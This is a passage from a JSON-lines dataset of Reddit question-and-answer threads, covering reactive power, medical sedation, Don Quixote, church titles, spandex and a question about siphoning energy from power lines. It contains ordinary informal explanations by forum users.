symptoms and treatments for malaria, dysentery and wounds (at least for allied soldiers anyway. Apparently small pox and other nasties were used on Chinese nationals). These infections were done in stages with different virulent or bacterial forms of the diseases, and information was taken from the sample sizes. \n\nNow, in cases such as biological warfare and microbiology, we didn't already have this information, unlike with the Nazi experiments in which we did mostly. The Japanese were able to play around with diseases that were so foreign to Americans and Europeans that it was quite useful that these tests had been done. Some of the weirder forms like injecting infected bile into someone who is already sick may be considered torture, but we now know definitely that it's not a good idea. \n\nThe whole thing isn't pleasant, and a lot of people got away with a lot of stuff they should not have. If you want another relevant book about the preceeding years of the Nuremberg trials of doctors, check out \"Doctors from Hell\" (they're really unique with the titles, I know)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/comments/1jsabs/what_it_means_to_post_a_good_answer_in"], [], []]}
{"q_id": "90q7i7", "title": "What is the role of reactive power in transmission networks?", "selftext": "I've studied electrical engineering for some years, but honestly I'm still struggling with understanding complex AC concepts, especially reactive power. What's its role in transmission networks since reactive power can't do real work? Why is it important for large alternators on the grid? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/90q7i7/what_is_the_role_of_reactive_power_in/", "answers": {"a_id": ["e2sc27o", "e2siv15", "e2sjzns", "e2sk9vt", "e2sne30", "e2so19s", "e2sq6w1", "e2sv36x", "e2svtl0"], "score": [184, 23, 5, 10, 5, 3, 4, 5, 3], "text": ["Reactive power is the flow of energy contained in the electric and magnetic fields of capacitors and inductors during AC operation.\n\nFor example, the magnetic field around an inductor gets filled up with magnetic field energy as current passes through it, thus part of the energy and power going through the system gets stored in that field, but when the current alternates through this inductor, that energy in the magnetic field moves back towards the source. Thus, effective power is the amount of power that actually gets to your load, while reactive power is the power required to maintain the fields of the transmission lines passive components (capacitors and inductors) and the fields in the transmission line itself.\n\nNow, although the current associated with reactive power does no work at the load, it still must be supplied by the generator, thus reactive power is important to define when designing a circuit so the right power source can be used, or the right capacitive bank can be used to store that reflected energy and resupply it to the inductors. A higher reactive power means more power must be supplied by the generator to dissipate the same power at the load, something power companies do not like :).\n\nTl;dr: Some of the input energy to a circuit is stored in the electric and magnetic fields, and then returned to the source during the next current cycle. This means not all of your power gets dissipated in the load, which we call effective power, thus we call the power that returns to the source \"reactive power\".\n\nReactive power is the imaginary component. Effective power is the real component. \n\nEdit: So many great explanations in this thread! Edited various parts to include other peoples superior additions. Thank you u/helios210!", "I think seeing reactive power for what it is may help you. There are several ways of thinking about it, but here\u2019s how I like to. \n\nAC current alternates. The electrons are shaking back and forth rather than traveling down the pipe.  The voltage is doing the same - reversing in polarity over and over.  The sinusoidal voltage and current graphs you\u2019re used to are visualizing that. \n\nNow, when things are at unity, it means there\u2019s no reactive power. This happens when the voltage polarity flipping, and the electrons shaking, are timed together perfectly.  When the voltage is fully positive, the electrons are moving one direction full speed. And when it\u2019s fully negative, the other direction.  When the voltage is in between, the electrons are in process of turning around. \n\nBUT!  When it\u2019s not at unity, it means the timing isn\u2019t lined up!  The movement of the electrons is lagging behind of voltage changes.  When the voltage is fully positive, the electrons might still be changing directions, and not at full speed in one direction just yet. \n\nWhen that happens, this means power is lost, because power is voltage x current, and when those sinusoidal graphs aren\u2019t lined up the multiplication of the two isn\u2019t as big as it could be. \n\nLet\u2019s use an example to demonstrate. If AC power is going through a lightbulb, and the voltage flipping and electron shaking is timed together perfectly, the bulb will be brighter than if they\u2019re not timed perfectly.  We use reactive or \u201cimaginary\u201d power to describe the power that we could be getting, but we\u2019re not getting due to bad timing. \n\nAll of this is tricky to describe in mathematics. The imaginary i is used to separate the power that were actually realizing (effective power), and the part that we could be getting, but we\u2019re not, due to bad timing of V and I (imaginary power). \n\nSometimes we can use the mis-timing of voltage and current to our advantage.  I\u2019m not too educated in how/when/why though which might be the crux of your question. \n\nAlso, you may ask, what causes the timing between V and I to be off?  Inductive/capacitive loads cause it.  They will charge and discharge with different timing than the voltage.  Motors, generators, all contribute to the timing in complex ways.   Resistive loads don\u2019t. ", "0onimusha2  already gave a good explanation.   However you might wonder why there's reactive power at all on the network.  \nYou don't want reactive power on your grid, but some devices must create reactive power in order to run (e. g. induction motors). \nYou can compensate inductive reactive power using a capacity, or vice versa.  \nhowever you'll never compensate to a power factor of 1, because that will create a resonant circuit, which will lead to a hugely increased voltage or current.   so most devices will compendate to around 0.92", "Reactive power is the natural result of the reactive component of impedance. Reactance being the opposition to a change in current flow. Think about it this way, if you walk in a circle and an above ground pool you push the water along with you. If you change directions after the water started moving it opposes that change in direction. Reactive power is the power you apply to the water before it changes direction. Some of your energy has been stored in the water as momentum. You have to dissipate the stored energy before moving current in a new direction.\n\nReactive power, measured in VAR is the third leg of the power triangle. This is the Pythagorean relationship between Apparent(VA), Real(W), and Reactive power. VA^2=W^2 + VAR^2. The reactive leg is adjacent to the phase angle. As soon as the load is capacitive or inductive there is a phase angle between the change in current flow and the change in voltage polarity. As soon as there is a phase angle then there is a moment in the oscillation where current is going one direction and voltage is applying pressure in the opposite direction. The power not available in those moments are RMSed and expressed in VAR as reactive power.", "Everyone has good and thorough answers to this question but I think everyone would benefit from a basic description of what \"reactive power\" actually is.\n\nReactive power is power that flows in the circuit that is NOT consumed by the load. Different loads have different load profiles, and the utility wants to minimize the amount flowing in the circuit since it's essentially lost transmission capacity.", "I\u2019d like to answer a question I didn\u2019t see answered and describe how capacitors and inductors work in doing so.\n\nSo a capacitor can only increase the voltage across it by passing current. Likewise, an inductor can\u2019t only increase its current by first having a positive voltage drop across it.\n\nYou know in either of these situation they are absorbing power into their respective fields because both current and voltage are present and multiply to a positive power value.\n\nHere\u2019s the thing. For inductors, current can not increase unless voltage does so first. Likewise, a capacitor can not increase voltage unless it first has current draw. In your classes you should have seen differential equations I = C dV/dt and V = L dI/dt to describe this relationship.\n\nWhat happens do to this is that current and voltage don\u2019t rise at the same time. Because of this the power equation P=V x I will never be as high as if they were in sync in the time domain.\n\nTo elicit this, a purely inductive load will have a  voltage with a 90 degree phase shift ahead of its current. That means when one is at its max value, the other will equal zero and the power dissipated in our inductive load is also zero. Max power would be when each is degrees about there peak which is a value of sqrt(2)/2 for each or an overall peak power at half what it should be...     this last paragraph is a handful, I\u2019m going to tldr this mother in a sec.\n\nLuckily, since capacitors and inductors do opposite things we can use them to balance each other out and \u201ctune\u201d a circuit to not waste power by displacing he voltage and current in the time domain. This is also called keeping them \u201cin phase\u201d since the offset is a phase shift.\n\nTLDR; Reactive loads cause a phase shift between current and voltage. Supplying current with zero voltage at the load would supply no real power and is the extreme condition. Ideally you want current and voltage perfectly in phase for optimum efficiency and we can compensate circuits in order to do just that.", "An analogy used in training for power factor is \" the beer factor\" . The glass represents the Volts*Amps, with the beer equal to the true power delivered to the load ( Watts) and the foam equal to the VARs. A power factor of 1 is no foam, a power factor of .5 could be simplified to a glass half filled with beer and half filled with foam. What do you want- more beer or more foam? Mathematically,  With power in Watts = Volts * Amps, given that it is a linear load with no distortion on the two sign waves, the highest number for V*A is where the sine waves line up exactly. Any reactance shifts the current sine wave, the two do not line up, so you do not get the maximum power possible. For example, the peak value of the voltage will not multiply against the peak value of the current. The power company has to deliver the whole glass, so charges you a power factor penalty for PFs below a defined threshold, sometimes .95. ", "The role of reactive power in the transmission system is for voltage control. We are required to maintain 5% nominal voltage assuming no contingency has happened. Our main tools are reactors (shunt inductors), shunt capacitor banks, and generators. There are others but these are the most common. For example, at night when the load is low the voltage will increase. A transmission operator must remove cap banks from service which removes VARS and lowers voltage. If the voltage isn't low enough or continues to increase I will then place reactors in service which absorb VARS and lowers voltage even more. I can also change the VAR output of generators if need be. System conditions really dictate voltage control such as load, surge impedence loading, ferranti voltage rise. Basically you can say VARS travel downhill or from high to low voltage but they also don't travel far in the system. It's one of the parameters a transmission operator will fiddle with while on shift.", "Other people here have done a good job of explaining what reactive power is, so I want to take a crack at answering what role reactive power has in transmission.\n\nBasically in transmission reactive power is wasted load. When a large inductor (e.g. series of electrical motors) offsets the current and voltage sign waves, it decreases the peak power because P(t) = V(t)*I(t), so if the peaks aren't aligned, the max will be lower. This means that more current must be transmitted through the lines in order to get the same amount of usable power out. If more current is transmitted, that means more resistance losses in our grid ( Ploss = I^2 R). \n\nThe only productive use of reactive power that I am familiar with  is to counter act other reactive power. Basically, If you have a large bank of conductors causing a known reactive phase shift, you can connect it to a calibrated capacitor which will  shift the phase back in the other direction, thereby counteracting the need for additional current to be supplied. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "lsktc", "title": "Why do some invasive medical procedures require the patient to be conscious?", "selftext": "A friend of mine recently had to get a needle in his spine, and while they numbed the area where the needle went in he said that it was the most unreal pain he'd ever experienced in his life. My question is, why wouldn't they put you under for something like that? I know that there's always a risk when undergoing anaesthesia but it seems like something you'd want to be out for.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lsktc/why_do_some_invasive_medical_procedures_require/", "answers": {"a_id": ["c2v9oid", "c2v9yxv", "c2vagl5", "c2v9oid", "c2v9yxv", "c2vagl5"], "score": [8, 10, 4, 8, 10, 4], "text": ["At least for brain surgery, the different parts are known but not well defined.  Doctors will ask you questions during some brain surgeries to make sure they're doing what they intend to do.  They can use small voltages to \"turn off\" segments of the brain, and only know what they're turning off by talking to the patient.", "What you're referring to sounds like a [lumbar puncture](_URL_0_), which, despite being invasive, is a relatively minor and rapid procedure. Putting the patient to sleep for that would simply add more risk than it's worth, since there is risk associated with general anesthesia. It's not just a simple matter of putting someone to sleep. ", "Lidocaine burns.  It burns very badly... 30-60 seconds later it's numb.  You're friend probably felt the large injection of lidocaine and thought that was the needle.  Most often Doctors don't prep their patients for the experience.\n\nAs for why.  Anesthesia requires an anesthesiologist and they charge premium.  The risk increases, the cost increases, and there is no obvious benefit other than comfort.  Which when considering a LP can be completed in less than 5 minutes there isn't a seeming need for this.\n\nIn some procedures, such as coronary angiograms we perform a technique called conscious sedation aka moderate sedation where we don't put you under just give you a combination of anxiolytics and narcotics and make you drowsy/sleep through the procedure.  Versed, a common anxiolytic also causes retrograde amnesia so you often come out of the procedure asking when you're going in.  This is typically not done with LP's though unless you're so nervous that you can't stay still.\n\nedit:  Also during conscious sedation the patient can be woken up and asked questions.  Some procedures require patient response.  Often we have to prompt people under moderate sedation to take deep breaths because their breathing becomes shallow.  If oversedation occurs reveresal of medications and intubation with mechanical ventilation may be necessary.  This will increase your hospital stay length, cost, and expose the patient to more problems.  Sometimes it's better to just deal with it.  \n\nFood for thought:  Before ether anesthesia was invented surgeon philosophy was that in order to cure there **needs to be pain**.", "At least for brain surgery, the different parts are known but not well defined.  Doctors will ask you questions during some brain surgeries to make sure they're doing what they intend to do.  They can use small voltages to \"turn off\" segments of the brain, and only know what they're turning off by talking to the patient.", "What you're referring to sounds like a [lumbar puncture](_URL_0_), which, despite being invasive, is a relatively minor and rapid procedure. Putting the patient to sleep for that would simply add more risk than it's worth, since there is risk associated with general anesthesia. It's not just a simple matter of putting someone to sleep. ", "Lidocaine burns.  It burns very badly... 30-60 seconds later it's numb.  You're friend probably felt the large injection of lidocaine and thought that was the needle.  Most often Doctors don't prep their patients for the experience.\n\nAs for why.  Anesthesia requires an anesthesiologist and they charge premium.  The risk increases, the cost increases, and there is no obvious benefit other than comfort.  Which when considering a LP can be completed in less than 5 minutes there isn't a seeming need for this.\n\nIn some procedures, such as coronary angiograms we perform a technique called conscious sedation aka moderate sedation where we don't put you under just give you a combination of anxiolytics and narcotics and make you drowsy/sleep through the procedure.  Versed, a common anxiolytic also causes retrograde amnesia so you often come out of the procedure asking when you're going in.  This is typically not done with LP's though unless you're so nervous that you can't stay still.\n\nedit:  Also during conscious sedation the patient can be woken up and asked questions.  Some procedures require patient response.  Often we have to prompt people under moderate sedation to take deep breaths because their breathing becomes shallow.  If oversedation occurs reveresal of medications and intubation with mechanical ventilation may be necessary.  This will increase your hospital stay length, cost, and expose the patient to more problems.  Sometimes it's better to just deal with it.  \n\nFood for thought:  Before ether anesthesia was invented surgeon philosophy was that in order to cure there **needs to be pain**."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Lumbar_puncture"], [], [], ["http://en.wikipedia.org/wiki/Lumbar_puncture"], []]}
{"q_id": "bh5tp6", "title": "Why was Don Quixote considered the first modern novel? What about it was fundamentally different from previous long form works of fiction?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bh5tp6/why_was_don_quixote_considered_the_first_modern/", "answers": {"a_id": ["elqf3ow", "elrmvo7", "elsn5xk"], "score": [1731, 34, 9], "text": ["Don Quixote hit many goals that modern novels try to hit, including social commentary and literary critique through the use of characters both pious and secular. Through humor and irony, it made the reader question their beliefs rather than simply entertain or reiterate popular ideas or history.\n\nCervantes published the book in 1605, over a century after the Reconquista that made Spain Christian once more. However, this was four years prior to the Moriscos being expelled from Spain in 1609. (Morisco being the term applied to the descnedants of Muslims that had converted to Christianity.) Cervantes was writing in a turbulent time, and he had experienced many slices of life. He left Spain for Renaissance Italy, fought in the navy of the Catholics in the Ottoman-Hapsburg war, had been enslaved in Algiers for a few years, and also imprisoned by Spain when found abusing his role as a tax collector. \n\nThese various experiences at this time lead to much of the nuance that makes Don Quixote one of the first modern novels. The actions of Don Quixote undermine simple chivalroc romances or morality tales by showing how following one ethical code without question can lead to delusion and immoral actions. This is not to mean every priest is painted poorly, even though the Holy Brotherhood isn't put in the best light at all times. And not all villains are able to be saved, as the slaves set free by Quixote end up causing more trouble. \n\nThis novel in turn uses the faults in the current  culture's stars (so to speak, stars referring to knights like Amadis of Gaul and other popular in 17th century Spain) in order to show the faults in the current culture itself. This is where Cervantes's use of realism, allusion, and metafiction come into play. Some characters take the cultural stories seriously, some are hobbyists, some make a living off them, some ignore them. Cervantes depicts a relatively balanced vision of pastoral life in his time while using his main characters to humourously poke holes. It is through his allusion and metafiction, especially in part 2, where this humor challenges the reader's belief in ways that works prior to this did not. \n\nMany are unable to tell which side Cervantes is on, having created such an insanely idealistic character in a realistic backdrop. It did not tell a history, teach a moral, or promote a side, but it expressed the differences and between truth and fiction, between reality and the ideal. He provided no clear answer, but instead used his work to attempt to instill a type of critical thinking in his readers.\n\nConcessions:\n\nNow, to refer to the title of the first great modern novel, there are some other concessions besides the content and immediate context of the book. For instance, Cervantes wrote his prose at the same time Shakespeare developed his plays. In fact, Hamlet is often seen as an antithesis to Don Quixote. The Spanish Golden Age and Elizabethan Era show the Renaissance of western Europe and a questioning of the religious ways that dominated culture centuries prior. So at this time, humanist and secular ideas permeated as well as united Western European thought, allowkng for these writers to have a lasting impact.\n\nThis title 'first great modern novel' is also Eurocentric to a degree, but who would not want to have that cultural trophy? First, it is a prose novel, not an epic poem or play. However, other novels had been written. For instance, the Tale of Genji also is a claimant to the title, being a wondeful depiction of Heian court life and classic Japanese culture, written in the 11th century. However, it was not translated to modern Japanese until the 1900s. Meanwhile, Don Quixote was a more thematically tight, plot driven, and preserved work that influenced French revolutionaries, Schopenhauer, and other great minds (albeit, still Western, so Eurocentrism is still present to a degree).", "The above top answer was excellent in providing certain cultural contexts.\n\nI'd like to provide a more direct answer to the question, \"What about it was fundamentally different from previous long form works of fiction?\" Namely:  before \\_Don Quixote\\_, the last similarly realistic novels written in the Western world were in  Latin antiquity. Major extant works are Petronius' Satyricon (1 c. CE) and Apuleius' \\_Asinus Aureus\\_ (the golden ass, 2 c. CE). Significant early modern prose precursors are: Boccacio's Decameron (14 c.) which is however not a novel, but a novella series. Rabelais' Gargantua (1532) is a novel series, but being about giants, is not primarily realistic; it is also in style satirical and farcical.\n\nDon Quixote inaugurated the modern novel with the \\_content\\_ of a realistic representation of everyday reality, meaning persons of the lower class (similar to Petronius) \u2013 this is the essential element that defines the modern novel, as opposed to say the legendary or folk-myth content of the 16th century German 'chapbooks', prose works like e.g. Historia von D. Johann Fausten; Till Eulenspiegel. And as opposed to the fantastical giants of Rabelais, and the knightly noblemen of medieval epics. Specifically, Don Quixote is closely related to the novel sub-type of the 'picaresque', which follows the adventures of a wily, clever character in everyday realistic situations; that genre originated with \\_Lazarillo de Tormes\\_ (1554), published fifty years before \\_Don Quixote\\_. While \\_Don Quixote\\_ is often satirical, it achieves this through a realistic representation of everyday life and everyday lower class persons.\n\nI discuss now related topics of religious/secular texts, and competing genres of drama, as these explain what the novel displaced  &  what innovations the novel represents:\n\nTechnology played an important role \u2013\u00a0prior to the invention of printing press (Gutenberg 15 c.), the vast majority of medieval books were ecclesiastical, as the production of books was by scribes, often monks, copying volumes by hand. As this work was by hand, books were incredibly expensive, they were luxury goods of the time and often 'illuminated' (illustrated), and so available only to the upper class. As this work was centered in religious institutions, their focus was on producing religious texts. The mechanization of book production meant that secular craftsmen were now producing books, and this was essential to the coming rise of the novel. In the renaissance period (i.e. Cervantes' time), dramatic works  &  lyric poetry were still the primary genres, especially from a prestige standpoint. Dramatic works were popular both at court, but also with illiterate masses; literacy rates were much lower in the early modern period, education was not democratized \u2013 the London theaters were the Hollywood of the day.\n\nThe 'romance' genre of chivalric epics of the middle ages originated with the troubadours (from the 12 c.), whose works were sung accompanied by a musical instrument. These works were predominantly based on persons of court, namely the nobility. Novels broke with the courtly works, by depicting persons outside of the nobility. While Quixote the character is himself a nobleman, his sidekick is a lower class man, and the persons they encounter are primarily lower class, not of nobility.\n\nDuring the middle ages, secular works could never attain the cultural stature of the Christian New Testament (unlike Greek antiquity and the first Roman period, when Christianity was not ascendent; in Greek antiquity Homer's epics had the cultural significance equivalent to the Christian New Testament in the middle ages). Likewise, the knight-centered content of the romances gives way to realistic content of novels, of everyday life. While the romance flourished in continental Europe (from Chanson de Roland to Chr\u00e9tien), as established by the French troubadours, most early medieval poetry in Anglo-Saxon was ecclesiastical, e.g. retellings of Tanakh and NT stories in Cynewulf and Caedmon (9 c.).\n\nThe theater and its dramatic works retained cultural prestige through the 17th (French classicism of Racine, Moli\u00e8re, Racine) and even 18th century. In the 18th century, theater retained prestige at the beginning of the century (e.g. Lessing's dramas in Germany), but this gave way with Rousseau's Julie (1761), and Goethe's \\_Werther\\_ (1774), which were Europe-wide smash hits, and epoch-making works in establishing sentimentality, precursor to romanticism. The libertine novel was an important genre in the early 18th century prior to the rise of sentimentality and romanticism. But the libertine novel retained the setting and content of the courtly world of nobility; it was not in the legendary/fantastical mode of medieval romance, but a realistic representation of nobility; e.g. Cr\u00e9billon fils, \\_Les \u00c9garements du c\u0153ur et de l'esprit\\_ (1736-38).\n\n & #x200B;\n\ncf. Erich Auerbach. Mimesis", "As examples to draw on for talking about *Don Quixote*, many criteria that have been used to distinguish the 'first modern novel' are presented reasonably well at Wikipedia in a [List of claimed first novels in English](_URL_2_). The article cites *The Rise of the Novel* by Ian Watts, which was indeed influential on this question in the English tradition, and you can read responses to it in a [special issue of the journal *Eighteenth-Century Fiction*](_URL_0_) available online for free.\n\nRunning down that checklist, *Don Quixote* does meet all its criteria pretty easily:\n\n* It is a wholly original story, focusing on original characters like Don Quixote and Sancho Panza. For sure, it alludes to a literary tradition and often mentions characters from earlier classics like *Amadis of Gaul*. But if anything, that distinguishes it even further from earlier work, because it's so self-conscious about how unrealistic those stories had been.\n* Although part I has several stories-within-stories to it, the narrative thread uniting them is significant throughout, not just a frame that barely explains where the stories come from as in *The Decameron* (among many other works in prose from the 15th-17th Centuries). And part II is just one long story.\n* It is definitely not a romance, because it parodies romances in a self-aware way and explicitly contrasts the world of the romance, which Don Quixote mistakenly believes he's a part of, with reality.\n* It is not an allegory in the same sense as *The Pilgrim's Progress*. The characters are presented as just ordinary people having actual things happen to them, not allegorical constructs to be decoded to understand the point.\n* It is not (only) a picaresque like *Lazarillo de Tormes* in which episodes in the itinerant life of a rogue follow one after the other without much of an unfolding / upbuilding plot. There's definitely more to be said in *Don Quixote* about how the overall structure and content add up.\n\nAll that said, *Don Quixote* is also not unambiguously the first modern novel worldwide. Folks have already talked about *The Tale of Genji*. A good source on many other candidates is Steven Moore's two volume literary history, *The Novel: An Alternative History*. And to put another contender between Genji and Quixote, I'll make a case for the Chinese novel [*The Plum in the Golden Vase*](_URL_1_), which circulated in manuscript in the 1590s but was finally published around the same time as *Don Quixote* (in-between the publication of part I and part II):\n\n* Its relationship to earlier narratives is so attenuated it makes sense to view it as a wholly original story. It's true that 2 of \\~7 main characters appear in an earlier Chinese novel, *Water Margin*, but their story there is wildly different, coming to a different conclusion and IIRC occupying just a few pages. *The Plum in the Golden Vase* tells an original \\~2500 page story about them plus dozens and dozens of original characters (the list of dramatis personae itself runs to \\~50 pages). So the tiny overlap in characters works more like an allusion than a plot point of interest.\n* It is not a collection of stories. It is a thoroughly unified 100 chapter story that builds up very gradually and spends whole chapters dwelling on scenes from everyday life just to add characterizations and minor details that matter in the story later on.\n* It is not a romance or even a heroic narrative. It is very much focused on realistic depictions of life in a large/wealthy household, ordinary political corruption, religious ceremonies, festivals, family dramas, and just a ton of sex described in very graphic detail.\n* It is not an allegory, although David Tod Roy has argued it should be read ultimately as having a sort of moral to it that no one should behave the way the characters in the story behave. If that's an allegory, then so is *Don Quixote*'s moral that you probably shouldn't allow what you read in fiction to blind you to reality.\n* Unlike *Don Quixote*, it is not even close to being a picaresque. I guess there's one sequence late in the novel where a younger member of the family moves around a bit, but even that sub-plot has sort of an arc to it.\n\nI think anyone interested in the early history of the novel as a literary form should really take a look at it, along with *The Tale of Genji* and *Don Quixote*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://muse.jhu.edu/issue/22036", "https://en.wikipedia.org/wiki/Jin_Ping_Mei", "https://en.wikipedia.org/wiki/List_of_claimed_first_novels_in_English"]]}
{"q_id": "3w0txw", "title": "religious leader titles", "selftext": "What's the difference between priests, bishops, cardinals, ministers, reverends, pastors, deacons, elders, preachers, etc.?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3w0txw/eli5_religious_leader_titles/", "answers": {"a_id": ["cxsf9g6", "cxsfgw2", "cxsiav6"], "score": [2, 2, 2], "text": ["In Catholicism, the pope is the head, and he appoints bishops to represent the church, and they become cardinals.  Bishops govern over the nearly 3000 dioceses of the Catholic Church.  Dioceses are separated into parishes, which are staffed with one or more priests, who are assisted by deacons.  The Pope himself is a bishop, the bishop of Rome.\n\nPastors and those other guys are protestant ranks.\n\n", "I can speak on the Catholic use of the words. I don't really want to speak for any other religion because I probably don't know enough.\n\n\n\nTitle | Meaning\n---|---\nPriest | The guy who is the head of a single church. Does mass and all those things in a church. Usually there's two or three in a single church. You call them by father and first name, i.e. Fr. Billy.\nBishop | A bishop is the head of a diocese. A diocese the group of churches in an area, usually a city. Think of it sort of like a school district: Churches = schools, Bishop = Superintendent, Priest = principals. You call them by bishop and last name, i.e. Bishop Billyson.\nMinster | Minister isn't a title for a religious leader in Catholicism like it is in other religions.\nReverend | Same as minister.\nPastor | Can be the title of head priest in a church, but they are still Priests and referred to as Father. It's not really used.\nDeacon | If a Priest is the President of the church, Deacons are the Vice-President. They are part of a mass, but aren't able to do all Priest things during the mass. You don't need a Deacon to do a mass. Deacons can be men who are coming out of the seminary doing essentially an internship before they become priests. But Deacons can also be married men with families over a certain age (35 I think) who want to be a part of the church, but they have to be married first. You call them by Deacon and first name, i.e. Deacon Bobby.\nElders | Same as minister.\nPreachers | Same as minister.\n\n**EDIT:** Spelling.\n", "A preacher is not necessarily an ordained minister, where \"ordination\" is a formal recognition/blessing/consecration/etc by the formal leadership (or their representative) body of a denomination. A preacher is usually someone who has some knowledge and much passion about spiritual topics and shares it widely. They may be ordained but not tied to a congregation (traveling preacher), or may simply be someone not ordained but still capable of doing the preaching and at least some sacraments. Most, though not all of the time, a preacher has no formal training or official post.\n\nA pastor usually refers to someone who has been through seminary or the equivalent and can be vested with certain authorities other church leaders may not have, be they legal or spiritual; a common example is marriage, baptism/confirmation, and the administration of the other sacraments. If a pastor is absent, others may perform or assist with the duties though the state may not recognize the legal aspect of some without a further step by those involved.\n\nReverend is another term for pastor in most cases, the two are usually denomination specific.\n\nDeacons and Elders work within a given congregation or geographically local congregations as lay-leadership and operational support. They will often be the ones leading study, prayer, distributing or collecting items to/from the churches charity programs, performing basic maintenance (or at least reporting and coordinating needed work), organizing emergency responses, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6aavaa", "title": "how much energy would it take to vaporize the earth?", "selftext": "I am building a giant death ray and need to get the specs right!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6aavaa/how_much_energy_would_it_take_to_vaporize_the/", "answers": {"a_id": ["dhd8r2y"], "score": [57], "text": ["Roughly, we can use the gravitational binding energy of the Earth. There are chemical bonds in there too, but this is a rough estimate and we can ignore them here.\n\nThe magnitude of the binding energy of a uniform sphere is (3/5)GM^(2)/R, which is another approximation because the Earth is not uniform. Plugging in the Earth's mass and radius, we get about 10^32 J.\n\nFor a sense of scale, if you built a Dyson sphere around the Sun and absorbed all the Sun's radiation, it would take about 10 days to build up this much energy.\n\nInterestingly, the *kinetic* energy of the Earth is actually ten times larger than its binding energy. This means that it's easier to blow up the Earth than to move it. If you wanted to smash a a single asteroid into the Earth to cause the Earth to fall into the Sun, it turns out that's not possible - you would actually smash the Earth to pieces rather than cause it to fall directly into the Sun. Keep this in mind when designing your doomsday devices."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6o2lew", "title": "how does a small amount of spandex woven into a non-stretchable fabric like cotton give the entire garment stretch ability?", "selftext": "Wouldn't the cotton restrict any stretch from occurring?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6o2lew/eli5_how_does_a_small_amount_of_spandex_woven/", "answers": {"a_id": ["dke40oh", "dke7h8r"], "score": [62, 101], "text": ["You can easily stretch most knit cotton clothing. The problem is that it has limited elasticity, so it will mostly stay stretched. The elastic spandex mixed in causes the fabric to return to its original shape. Woven cotton fabrics, for example denim, have much more limited capacity to stretch.", "It's not really that the spandex is allowing the cotton to become more stretchy, it's that the spandex (until it is stretched) is retaining the tight/original shape of the garment.\n\nInstead of thinking of a garment-with-spandex vs an equally tight garment-without spandex, think instead of a garment-with-spanex against a looser garment-without-spandex.  The looser garment is roughly as loose as the maximum stretch of the 'garment-with-spandex.'  The addition of the spandex keeps the garment/weave tight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "31l56n", "title": "as more people buy electric cars, how will the government replace money they aren't in gas taxes?", "selftext": "They are still causing wear and tear on the roads, and it's not like the government to give up a revenue stream...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31l56n/eli5as_more_people_buy_electric_cars_how_will_the/", "answers": {"a_id": ["cq2ky6z"], "score": [2], "text": ["Higher energy taxes.\n\nIn some areas of the United States, there are energy regulation ordinances that are expiring.  Once these expire, the service providers will have free reign to raise prices, and the government can collect more tax dollars if they see fit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hwxuw", "title": "Is it plausible that driving alongside high-voltage power lines with an induction coil would siphon appreciable amounts of energy?", "selftext": "I've had several people swear to me that it's possible to extract appreciable amounts of power by simply putting an induction coil next to power lines. I don't remember enough EE to do the math myself, but let's pick some reasonable numbers:\n\n* You are driving a pickup truck. On the back of the truck is mounted a large induction coil. It is a copper behemoth: 5,000 turns of 5 cm each for a total length of 25,000 cm = 250 m. The coil wire has a radius of 1 cm.\n\n* The coil is hooked up to a battery, which it charges.\n\n* You are passing directly underneath a series of high-voltage AC power lines at 500 kV and 300 A. Let us suppose that they're 10 m above you.\n\n* You drive at about 60 mph.\n\nQuestions:\n\n* How much energy can you extract out of the lines by driving in this way? Is it enough to charge, say, the hypothetical big lead-acid battery you have hooked up to it?\n\n* Does the coil experience a force that opposes the truck's forward motion?\n\n* My understanding is that this wouldn't work if the lines were carrying AC, since the field needs to vary with time, and it wouldn't if it was DC. Is that accurate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hwxuw/is_it_plausible_that_driving_alongside/", "answers": {"a_id": ["c1z1yws", "c1z266z", "c1z2e1q", "c1z2i29", "c1z2k7w", "c1z2mnq", "c1z2owj", "c1z2pj2"], "score": [3, 13, 2, 2, 2, 2, 2, 2], "text": ["The real question is: are you getting more energy for your buck, carrying that much extra weight?", "This is actually a problem we assign our first year students during their second semester, one of my favorites. I'm too tired to derive it right now, But I'll tell you that you need [Ampere's Law](_URL_0_) and [Lenz's Law](_URL_1_) to do it. ", "I wonder: would there be any legal problems with leeching electricity from a private source?", "It occurs to me that with a AC- > DC rectifier you could extract power from the lines without moving at all. I don't know that a moving car could extract power from a DC line, though. The field strength wouldn't change and you'd have no magnetic flux, if I recall correctly.", "According to [this](_URL_0_) old snopes forum thread, it sounds plausible\n", "[Toyota seems to think it'd work.](_URL_0_)\n\nNow, that's not from existing power lines, so obviously the numbers are going to be different, but the concept seems the same from my non-EE-inclined perspective.", "Couple issues with your scenario. First of all the distance from the power lines is a critical factor that you aren't including. Also, you don't need to be moving. Obviously, this is with an AC line. DC wouldn't produce much of a magnetic field at all.\n\nThe ideal setup would be another length of wire running parallel to the lines, not a coil. A farmer was actually caught doing this to supply power to his house. He was found out when the power company was investigating a leech load that couldn't be accounted for.", "Here's the most important question:\n\nHow would you turn it 'off'?\n\nI read the response about the farmer doing a leech load... if that cable is just lying in his yard, he can't just pick it up and move it out of the magnetic field.  Sounds like a serious commitment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Amp%C3%A8re%27s_circuital_law", 